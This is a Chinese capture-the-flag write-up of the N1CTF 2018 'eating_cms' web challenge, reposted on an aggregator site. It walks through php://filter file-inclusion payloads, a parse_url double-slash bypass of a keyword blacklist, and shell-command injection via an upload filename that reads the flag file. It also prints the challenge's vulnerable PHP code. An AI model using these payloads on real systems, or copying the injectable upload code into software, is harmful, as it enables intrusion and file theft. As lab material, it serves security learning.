[N1CTF 2018]eating_cms

2023-11-23 17:40
文章标签 2018 cms n1ctf eating

本文主要是介绍[N1CTF 2018]eating_cms,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[N1CTF 2018]eating_cms

直接登录是不能登陆的,f12也没发现什么。dirsearch扫描一下发现了register.php

进入register.php查看

发现url发生了变化:

看这个样子像是伪协议,尝试一下读取源码,payload:/user.php?=php://filter/convert.base64-encode/resource=user,得到base64加密字符串,解密即得源码

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

好像没什么有用的,只是发现了function.php,继续用伪协议查看一下,payload:/user.php?page=php://filter/convert.base64-encode/resource=function

<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

发现了ffffllllaaaaggg,但是当尝试用伪协议读取ffffllllaaaaggg的时候出现了问题,payload:/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

网页url变成了hacker.php,系统检测到了我们

返回代码部分,再次审计发现了parse_url,parse_url解析漏洞,绕过:通过在user.php前面再添加一个/,这种情况下会解析错误,返回false,然后就可以读到这个文件了,重新构造payload://user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}else {echo "you can find sth in m4aaannngggeee";
}
?>

发现了m4aaannngggeee,继续使用伪协议查看m4aaannngggeee,payload:/user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}
include "templates/upload.html";?>

发现了templates/upload.html,进入该页面(payload:/templates/upload.html

建立一个空的1.php上传发现显示错误,但是显示了upllloadddd.php

使用伪协议查看一下upllloadddd.php,payload:/user.php?page=php://filter/convert.base64-encode/resource=upllloadddd

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

发现$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");,可以在filename处实行命令注入,但是我们需要找到真正的上传页面,而真正的上传页面在前面所给的m4aaannngggeee中,payload:/user.php?page=m4aaannngggeee

然后抓包,查看有什么,payload:;ls;#

使用cd ..(不能使用//被过滤了)切换到根目录下,payload:;cd ..;ls;#

发现了flag_233333,查看一下,payload:;cd ..;cat flag_233333;#

至此结束,撒花

这篇关于[N1CTF 2018]eating_cms的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/419641

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2018秋招C/C++面试题总结

博主从8月中旬开始大大小小面试了十几家公司,至今也许是告一段落吧,希望后面会有好结果,因此总结记录一些C/C++方向常见的问题。和大家一起学习! 参考了互联网的各种资源,自己尝试归类整理,谢谢~ 一、C和C++的区别是什么? C是面向过程的语言,C++是在C语言的基础上开发的一种面向对象编程语言,应用广泛。 C中函数不能进行重载,C++函数可以重载 C++在C的基础上增添类,C是一个结构

大厂算法例题解之网易2018秋招笔试真题 (未完)

1、字符串碎片 【题目描述】一个由小写字母组成的字符串可以看成一些同一字母的最大碎片组成的。例如,“aaabbaaac” 是由下面碎片组成的:‘aaa’,‘bb’,‘c’。牛牛现在给定一个字符串,请你帮助计算这个字符串的所有碎片的 平均长度是多少。 输入描述: 输入包括一个字符串 s,字符串 s 的长度 length(1 ≤ length ≤ 50),s 只含小写字母(‘a’-‘z’) 输出描述

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间 方法1 import datetimeorigin_date_str= "2019-07-26T08:20:54Z"utc_date = datetime.datetime.strptime(origin_date_str, "%Y-%m-%dT%H:%M:%SZ")loca

SEO之网站结构优化(十五-CMS系统)

初创企业搭建网站的朋友看1号文章;想学习云计算,怎么入门看2号文章谢谢支持: 1、我给不会敲代码又想搭建网站的人建议 2、“新手上云”能够为你开启探索云世界的第一步 博客:阿幸SEO~探索搜索排名之道 15、CMS系统 现在的网站绝大多数是通过CMS系统制作和管理的,SEO人员优化网站就会受限于CMS 系统本身的灵活性和功能。市面上有很多开源免费的CMS系统,如中文的dede(织梦)、

2018年年终体会~

说下最近的一件事情:2018年12月08日华为云培训云原生课程,我坚持了两周,中间休假了,回来就忘记了。错过了一天的打开。这次21天的云原生课程彻底失败。反思后,不是我不想学习,也不是我没有毅力,而是人总是容器在平凡中失去自己,失去自己的目标,就像《千与千寻》中一样,慢慢的生活磨砺自己,慢慢的平淡消耗你自己,你自己都忘记了,自己是为了什么,每年都会给自己立flag,可是很难坚持下去,就

2018Java高级工程师面试总结

2018Java高级工程师面试总结 java高级 2018-10-11 15:11:42 面试的岗位是Java后台开发,面的公司不多,主要有美团点评-网易-网易有道-携程-华为-中兴-科大讯飞-烽火通信这些公司。从前到后简单记录了自己面试时候遇到的问题,以及对面试给了一点点小的建议,给明年甚至以后的师弟师妹们一些参考。欢迎各位朋友一起交流。 关注我:私信回复“架构资料”获取往期Java高级架

NLP-预训练模型-2018:Bert字典

参考资料: 我的BERT!改改字典,让BERT安全提速不掉分(已开源)

2018中国金融科技竞争力100强榜单

2018--金融科技--榜单  2018--金融科技--评价标准   参考地址:https://biz.ifeng.com/a/20180630/45044607_0.shtml